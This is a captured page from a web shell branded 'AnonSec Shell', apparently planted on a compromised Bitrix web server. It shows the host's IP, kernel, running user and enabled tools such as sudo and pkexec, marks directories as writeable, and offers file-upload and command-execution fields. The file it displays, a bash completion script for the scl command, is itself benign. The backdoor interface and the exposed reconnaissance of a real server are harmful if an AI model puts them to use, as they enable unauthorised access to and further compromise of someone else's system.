AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.147.51.16
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/bash_completion.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /etc/bash_completion.d/scl.bash
# main function bound to scl command
_scl()
{
  local cur prev opts
  COMPREPLY=()

  cur="${COMP_WORDS[COMP_CWORD]}"
  prev="${COMP_WORDS[COMP_CWORD-1]}"
  opts="-l --list"

  # handle options
  if [[ ${cur} == -* ]] ; then
    COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
    return 0
  fi

  local collections=($(find /etc/scl/prefixes -maxdepth 1 -mindepth 1 -type f -exec basename {} \; | sort -u))

  # handle scriptlets; the first parameter must be a scriptlet if it is not an option
  if ((COMP_CWORD == 1)); then
    # get array of scriptlets found throughout collections
    local scriptlets=()
    for col in ${collections[@]}; do
        local prefix=`cat /etc/scl/prefixes/$col`
        scriptlets+=($(find $prefix/$col/* -maxdepth 1 -type f -exec basename {} \; | sort -u))
    done
    scriptlets_str=`echo ${scriptlets[@]} | sed 's/ /\n/g'| sort -u`
    COMPREPLY=( $(compgen -W "$scriptlets_str register deregister" -- ${cur}) )
    return 0
  fi

  # handle commands; does not handle commands without single or double quotes
  if [[ ${cur} == \'* || ${cur} == \"* ]] ; then
    # it is a command do not reply with anything
    return 0
  fi

  # handle collections; if it is not an option or a command, it must be a collection
  if [ $prev == "register" ]; then
    compopt -o nospace
    COMPREPLY=( $(compgen -A directory ${cur}) )
    return 0
  fi
  COMPREPLY=( $(compgen -W "${collections[*]}" -- ${cur}) )
  return 0
}

# bind the scl command to the _scl function for completion
complete -F _scl scl

Anon7 - 2022
AnonSec Team